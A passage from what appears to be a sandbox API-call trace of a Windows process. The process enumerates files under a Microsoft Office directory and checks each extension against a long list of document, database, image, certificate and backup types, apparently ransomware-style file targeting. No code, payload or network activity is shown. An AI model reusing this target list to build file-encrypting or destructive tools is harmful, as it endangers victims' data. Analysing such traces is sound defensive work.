Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\110") returned 86 [0250.938] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\110") returned 1 [0250.938] lstrlenW (lpString="110") returned 3 [0250.938] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="110") returned 1 [0250.938] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x41ede48 [0250.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\110") returned 86 [0250.938] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\110\\*", lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cfd88 [0250.938] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.938] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16e4606, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaf898, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.AdomdClient.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0250.938] lstrlenW (lpString="Microsoft.AnalysisServices.AdomdClient.dll") returned 42 [0250.938] lstrlenW (lpString=".1cd") returned 4 [0250.938] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0250.938] lstrlenW (lpString=".3ds") returned 4 [0250.938] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0250.938] lstrlenW (lpString=".3fr") returned 4 [0250.938] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0250.938] lstrlenW (lpString=".3g2") returned 4 [0250.938] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0250.938] lstrlenW (lpString=".3gp") returned 4 [0250.939] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0250.939] lstrlenW (lpString=".7z") returned 3 [0250.939] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0250.939] lstrlenW (lpString=".accda") returned 6 [0250.939] lstrcmpiW (lpString1=".accda", lpString2="nt.dll") returned -1 [0250.939] lstrlenW (lpString=".accdb") returned 6 [0250.939] lstrcmpiW (lpString1=".accdb", lpString2="nt.dll") returned -1 [0250.939] lstrlenW (lpString=".accdc") returned 6 [0250.939] lstrcmpiW (lpString1=".accdc", lpString2="nt.dll") returned -1 [0250.939] lstrlenW (lpString=".accde") returned 6 [0250.939] lstrcmpiW (lpString1=".accde", lpString2="nt.dll") returned -1 [0250.939] lstrlenW (lpString=".accdt") returned 6 [0250.939] lstrcmpiW (lpString1=".accdt", lpString2="nt.dll") returned -1 [0250.939] lstrlenW (lpString=".accdw") returned 6 [0250.939] lstrcmpiW (lpString1=".accdw", lpString2="nt.dll") returned -1 [0250.939] lstrlenW (lpString=".adb") returned 4 [0250.939] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0250.939] lstrlenW (lpString=".adp") returned 4 [0250.939] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0250.939] lstrlenW (lpString=".ai") returned 3 [0250.939] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0250.939] lstrlenW (lpString=".ai3") returned 4 [0250.939] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0250.939] lstrlenW (lpString=".ai4") returned 4 [0250.939] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0250.939] lstrlenW (lpString=".ai5") returned 4 [0250.940] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0250.940] lstrlenW (lpString=".ai6") returned 4 [0250.940] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0250.940] lstrlenW (lpString=".ai7") returned 4 [0250.940] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0250.940] lstrlenW (lpString=".ai8") returned 4 [0250.940] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0250.940] lstrlenW (lpString=".anim") returned 5 [0250.940] lstrcmpiW (lpString1=".anim", lpString2="t.dll") returned -1 [0250.940] lstrlenW (lpString=".arw") returned 4 [0250.940] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0250.940] lstrlenW (lpString=".as") returned 3 [0250.940] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0250.940] lstrlenW (lpString=".asa") returned 4 [0250.940] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0250.940] lstrlenW (lpString=".asc") returned 4 [0250.940] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0250.940] lstrlenW (lpString=".ascx") returned 5 [0250.940] lstrcmpiW (lpString1=".ascx", lpString2="t.dll") returned -1 [0250.940] lstrlenW (lpString=".asm") returned 4 [0250.940] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0250.940] lstrlenW (lpString=".asmx") returned 5 [0250.940] lstrcmpiW (lpString1=".asmx", lpString2="t.dll") returned -1 [0250.940] lstrlenW (lpString=".asp") returned 4 [0250.940] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0250.940] lstrlenW (lpString=".aspx") returned 5 [0250.940] lstrcmpiW (lpString1=".aspx", lpString2="t.dll") returned -1 [0250.940] lstrlenW (lpString=".asr") returned 4 [0250.940] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0250.940] lstrlenW (lpString=".asx") returned 4 [0250.940] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0250.940] lstrlenW (lpString=".avi") returned 4 [0250.940] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0250.940] lstrlenW (lpString=".avs") returned 4 [0250.941] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0250.941] lstrlenW (lpString=".backup") returned 7 [0250.941] lstrcmpiW (lpString1=".backup", lpString2="ent.dll") returned -1 [0250.941] lstrlenW (lpString=".bak") returned 4 [0250.941] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0250.941] lstrlenW (lpString=".bay") returned 4 [0250.941] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0250.941] lstrlenW (lpString=".bd") returned 3 [0250.941] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0250.941] lstrlenW (lpString=".bin") returned 4 [0250.941] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0250.941] lstrlenW (lpString=".bmp") returned 4 [0250.941] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0250.941] lstrlenW (lpString=".bz2") returned 4 [0250.941] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0250.941] lstrlenW (lpString=".c") returned 2 [0250.941] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0250.941] lstrlenW (lpString=".cdr") returned 4 [0250.941] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0250.941] lstrlenW (lpString=".cer") returned 4 [0250.941] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0250.941] lstrlenW (lpString=".cf") returned 3 [0250.942] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0250.942] lstrlenW (lpString=".cfc") returned 4 [0250.942] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0250.942] lstrlenW (lpString=".cfm") returned 4 [0250.942] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0250.942] lstrlenW (lpString=".cfml") returned 5 [0250.942] lstrcmpiW (lpString1=".cfml", lpString2="t.dll") returned -1 [0250.942] lstrlenW (lpString=".cfu") returned 4 [0250.942] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0250.942] lstrlenW (lpString=".chm") returned 4 [0250.942] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0250.942] lstrlenW (lpString=".cin") returned 4 [0250.942] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0250.942] lstrlenW (lpString=".class") returned 6 [0250.942] lstrcmpiW (lpString1=".class", lpString2="nt.dll") returned -1 [0250.942] lstrlenW (lpString=".clx") returned 4 [0250.942] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0250.942] lstrlenW (lpString=".config") returned 7 [0250.942] lstrcmpiW (lpString1=".config", lpString2="ent.dll") returned -1 [0250.942] lstrlenW (lpString=".cpp") returned 4 [0250.942] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0250.942] lstrlenW (lpString=".cr2") returned 4 [0250.942] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0250.942] lstrlenW (lpString=".crt") returned 4 [0250.942] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0250.942] lstrlenW (lpString=".crw") returned 4 [0250.942] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0250.942] lstrlenW (lpString=".cs") returned 3 [0250.942] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0250.942] lstrlenW (lpString=".css") returned 4 [0250.942] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0250.942] lstrlenW (lpString=".csv") returned 4 [0250.942] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0250.942] lstrlenW (lpString=".cub") returned 4 [0250.942] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0250.942] lstrlenW (lpString=".dae") returned 4 [0250.942] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0250.943] lstrlenW (lpString=".dat") returned 4 [0250.943] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0250.943] lstrlenW (lpString=".db") returned 3 [0250.943] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0250.943] lstrlenW (lpString=".dbf") returned 4 [0250.943] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0250.943] lstrlenW (lpString=".dbx") returned 4 [0250.943] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0250.943] lstrlenW (lpString=".dc3") returned 4 [0250.943] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0250.943] lstrlenW (lpString=".dcm") returned 4 [0250.943] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0250.943] lstrlenW (lpString=".dcr") returned 4 [0250.943] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0250.943] lstrlenW (lpString=".der") returned 4 [0250.943] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0250.943] lstrlenW (lpString=".dib") returned 4 [0250.943] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0250.943] lstrlenW (lpString=".dic") returned 4 [0250.943] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0250.943] lstrlenW (lpString=".dif") returned 4 [0250.943] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0250.943] lstrlenW (lpString=".divx") returned 5 [0250.943] lstrcmpiW (lpString1=".divx", lpString2="t.dll") returned -1 [0250.943] lstrlenW (lpString=".djvu") returned 5 [0250.943] lstrcmpiW (lpString1=".djvu", lpString2="t.dll") returned -1 [0250.943] lstrlenW (lpString=".dng") returned 4 [0250.943] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0250.943] lstrlenW (lpString=".doc") returned 4 [0250.943] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0250.943] lstrlenW (lpString=".docm") returned 5 [0250.943] lstrcmpiW (lpString1=".docm", lpString2="t.dll") returned -1 [0250.943] lstrlenW (lpString=".docx") returned 5 [0250.943] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0250.943] lstrlenW (lpString=".dot") returned 4 [0250.943] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0250.944] lstrlenW (lpString=".dotm") returned 5 [0250.944] lstrcmpiW (lpString1=".dotm", lpString2="t.dll") returned -1 [0250.944] lstrlenW (lpString=".dotx") returned 5 [0250.944] lstrcmpiW (lpString1=".dotx", lpString2="t.dll") returned -1 [0250.944] lstrlenW (lpString=".dpx") returned 4 [0250.944] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0250.944] lstrlenW (lpString=".dqy") returned 4 [0250.944] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0250.944] lstrlenW (lpString=".dsn") returned 4 [0250.944] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0250.944] lstrlenW (lpString=".dt") returned 3 [0250.944] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0250.944] lstrlenW (lpString=".dtd") returned 4 [0250.944] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0250.944] lstrlenW (lpString=".dwg") returned 4 [0250.944] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0250.944] lstrlenW (lpString=".dwt") returned 4 [0250.944] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0250.944] lstrlenW (lpString=".dx") returned 3 [0250.944] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0250.944] lstrlenW (lpString=".dxf") returned 4 [0250.944] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0250.944] lstrlenW (lpString=".edml") returned 5 [0250.944] lstrcmpiW (lpString1=".edml", lpString2="t.dll") returned -1 [0250.944] lstrlenW (lpString=".efd") returned 4 [0250.944] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0250.944] lstrlenW (lpString=".elf") returned 4 [0250.944] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0250.944] lstrlenW (lpString=".emf") returned 4 [0250.944] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0250.944] lstrlenW (lpString=".emz") returned 4 [0250.944] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0250.944] lstrlenW (lpString=".epf") returned 4 [0250.944] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0250.944] lstrlenW (lpString=".eps") returned 4 [0250.944] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0250.944] lstrlenW (lpString=".epsf") returned 5 [0250.945] lstrcmpiW (lpString1=".epsf", lpString2="t.dll") returned -1 [0250.945] lstrlenW (lpString=".epsp") returned 5 [0250.945] lstrcmpiW (lpString1=".epsp", lpString2="t.dll") returned -1 [0250.945] lstrlenW (lpString=".erf") returned 4 [0250.945] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0250.945] lstrlenW (lpString=".exr") returned 4 [0250.945] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0250.945] lstrlenW (lpString=".f4v") returned 4 [0250.945] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0250.945] lstrlenW (lpString=".fido") returned 5 [0250.945] lstrcmpiW (lpString1=".fido", lpString2="t.dll") returned -1 [0250.945] lstrlenW (lpString=".flm") returned 4 [0250.945] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0250.945] lstrlenW (lpString=".flv") returned 4 [0250.945] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0250.945] lstrlenW (lpString=".frm") returned 4 [0250.945] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0250.945] lstrlenW (lpString=".fxg") returned 4 [0250.945] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0250.945] lstrlenW (lpString=".geo") returned 4 [0250.945] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0250.945] lstrlenW (lpString=".gif") returned 4 [0250.945] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0250.945] lstrlenW (lpString=".grs") returned 4 [0250.945] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0250.945] lstrlenW (lpString=".gz") returned 3 [0250.945] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0250.945] lstrlenW (lpString=".h") returned 2 [0250.945] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0250.945] lstrlenW (lpString=".hdr") returned 4 [0250.945] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0250.945] lstrlenW (lpString=".hpp") returned 4 [0250.945] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0250.945] lstrlenW (lpString=".hta") returned 4 [0250.945] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0250.945] lstrlenW (lpString=".htc") returned 4 [0250.946] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0250.946] lstrlenW (lpString=".htm") returned 4 [0250.946] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0250.946] lstrlenW (lpString=".html") returned 5 [0250.946] lstrcmpiW (lpString1=".html", lpString2="t.dll") returned -1 [0250.946] lstrlenW (lpString=".icb") returned 4 [0250.946] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0250.946] lstrlenW (lpString=".ics") returned 4 [0250.946] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0250.946] lstrlenW (lpString=".iff") returned 4 [0250.946] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0250.946] lstrlenW (lpString=".inc") returned 4 [0250.946] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0250.946] lstrlenW (lpString=".indd") returned 5 [0250.946] lstrcmpiW (lpString1=".indd", lpString2="t.dll") returned -1 [0250.946] lstrlenW (lpString=".ini") returned 4 [0250.946] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0250.946] lstrlenW (lpString=".iqy") returned 4 [0250.946] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0250.946] lstrlenW (lpString=".j2c") returned 4 [0250.946] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0250.946] lstrlenW (lpString=".j2k") returned 4 [0250.946] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0250.946] lstrlenW (lpString=".java") returned 5 [0250.946] lstrcmpiW (lpString1=".java", lpString2="t.dll") returned -1 [0250.946] lstrlenW (lpString=".jp2") returned 4 [0250.946] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0250.946] lstrlenW (lpString=".jpc") returned 4 [0250.946] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0250.946] lstrlenW (lpString=".jpe") returned 4 [0250.946] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0250.946] lstrlenW (lpString=".jpeg") returned 5 [0250.946] lstrcmpiW (lpString1=".jpeg", lpString2="t.dll") returned -1 [0250.946] lstrlenW (lpString=".jpf") returned 4 [0250.946] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0250.947] lstrlenW (lpString=".jpg") returned 4 [0250.947] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0250.947] lstrlenW (lpString=".jpx") returned 4 [0250.947] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0250.947] lstrlenW (lpString=".js") returned 3 [0250.947] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0250.947] lstrlenW (lpString=".jsf") returned 4 [0250.947] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0250.947] lstrlenW (lpString=".json") returned 5 [0250.947] lstrcmpiW (lpString1=".json", lpString2="t.dll") returned -1 [0250.947] lstrlenW (lpString=".jsp") returned 4 [0250.947] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0250.947] lstrlenW (lpString=".kdc") returned 4 [0250.947] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0250.947] lstrlenW (lpString=".kmz") returned 4 [0250.947] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0250.947] lstrlenW (lpString=".kwm") returned 4 [0250.947] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0250.947] lstrlenW (lpString=".lasso") returned 6 [0250.947] lstrcmpiW (lpString1=".lasso", lpString2="nt.dll") returned -1 [0250.947] lstrlenW (lpString=".lbi") returned 4 [0250.947] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0250.947] lstrlenW (lpString=".lgf") returned 4 [0250.947] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0250.947] lstrlenW (lpString=".lgp") returned 4 [0250.947] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0250.947] lstrlenW (lpString=".log") returned 4 [0250.947] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0250.947] lstrlenW (lpString=".m1v") returned 4 [0250.947] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0250.947] lstrlenW (lpString=".m4a") returned 4 [0250.948] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0250.948] lstrlenW (lpString=".m4v") returned 4 [0250.948] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0250.948] lstrlenW (lpString=".max") returned 4 [0250.948] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0250.948] lstrlenW (lpString=".md") returned 3 [0250.948] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0250.948] lstrlenW (lpString=".mda") returned 4 [0250.948] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0250.948] lstrlenW (lpString=".mdb") returned 4 [0250.948] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0250.948] lstrlenW (lpString=".mde") returned 4 [0250.948] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0250.948] lstrlenW (lpString=".mdf") returned 4 [0250.948] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0250.948] lstrlenW (lpString=".mdw") returned 4 [0250.948] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0250.948] lstrlenW (lpString=".mef") returned 4 [0250.948] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0250.948] lstrlenW (lpString=".mft") returned 4 [0250.948] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0250.948] lstrlenW (lpString=".mfw") returned 4 [0250.948] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0250.948] lstrlenW (lpString=".mht") returned 4 [0250.948] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0250.948] lstrlenW (lpString=".mhtml") returned 6 [0250.948] lstrcmpiW (lpString1=".mhtml", lpString2="nt.dll") returned -1 [0250.948] lstrlenW (lpString=".mka") returned 4 [0250.948] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0250.948] lstrlenW (lpString=".mkidx") returned 6 [0250.948] lstrcmpiW (lpString1=".mkidx", lpString2="nt.dll") returned -1 [0250.948] lstrlenW (lpString=".mkv") returned 4 [0250.948] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0250.948] lstrlenW (lpString=".mos") returned 4 [0250.948] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0250.948] lstrlenW (lpString=".mov") returned 4 [0250.949] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0250.949] lstrlenW (lpString=".mp3") returned 4 [0250.949] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0250.949] lstrlenW (lpString=".mp4") returned 4 [0250.949] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0250.949] lstrlenW (lpString=".mpeg") returned 5 [0250.949] lstrcmpiW (lpString1=".mpeg", lpString2="t.dll") returned -1 [0250.949] lstrlenW (lpString=".mpg") returned 4 [0250.949] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0250.949] lstrlenW (lpString=".mpv") returned 4 [0250.949] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0250.949] lstrlenW (lpString=".mrw") returned 4 [0250.949] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0250.949] lstrlenW (lpString=".msg") returned 4 [0250.949] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0250.949] lstrlenW (lpString=".mxl") returned 4 [0250.949] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0250.949] lstrlenW (lpString=".myd") returned 4 [0250.949] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0250.949] lstrlenW (lpString=".myi") returned 4 [0250.949] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0250.949] lstrlenW (lpString=".nef") returned 4 [0250.949] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0250.949] lstrlenW (lpString=".nrw") returned 4 [0250.949] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0250.949] lstrlenW (lpString=".obj") returned 4 [0250.949] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0250.949] lstrlenW (lpString=".odb") returned 4 [0250.949] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0250.949] lstrlenW (lpString=".odc") returned 4 [0250.949] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0250.949] lstrlenW (lpString=".odm") returned 4 [0250.949] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0250.949] lstrlenW (lpString=".odp") returned 4 [0250.949] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0250.949] lstrlenW (lpString=".ods") returned 4 [0250.949] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0250.950] lstrlenW (lpString=".oft") returned 4 [0250.950] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0250.950] lstrlenW (lpString=".one") returned 4 [0250.950] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0250.950] lstrlenW (lpString=".onepkg") returned 7 [0250.950] lstrcmpiW (lpString1=".onepkg", lpString2="ent.dll") returned -1 [0250.950] lstrlenW (lpString=".onetoc2") returned 8 [0250.950] lstrcmpiW (lpString1=".onetoc2", lpString2="ient.dll") returned -1 [0250.950] lstrlenW (lpString=".opt") returned 4 [0250.950] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0250.950] lstrlenW (lpString=".oqy") returned 4 [0250.950] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0250.950] lstrlenW (lpString=".orf") returned 4 [0250.950] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0250.950] lstrlenW (lpString=".p12") returned 4 [0250.950] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0250.950] lstrlenW (lpString=".p7b") returned 4 [0250.950] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0250.950] lstrlenW (lpString=".p7c") returned 4 [0250.950] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0250.950] lstrlenW (lpString=".pam") returned 4 [0250.950] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0250.950] lstrlenW (lpString=".pbm") returned 4 [0250.950] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0250.950] lstrlenW (lpString=".pct") returned 4 [0250.950] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0250.950] lstrlenW (lpString=".pcx") returned 4 [0250.950] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0250.950] lstrlenW (lpString=".pdd") returned 4 [0250.950] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0250.950] lstrlenW (lpString=".pdf") returned 4 [0250.950] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0250.951] lstrlenW (lpString=".pdp") returned 4 [0250.951] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0250.951] lstrlenW (lpString=".pef") returned 4 [0250.951] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0250.951] lstrlenW (lpString=".pem") returned 4 [0250.951] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0250.951] lstrlenW (lpString=".pff") returned 4 [0250.951] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0250.951] lstrlenW (lpString=".pfm") returned 4 [0250.951] lstrcmpiW (lpString1=".pfm", 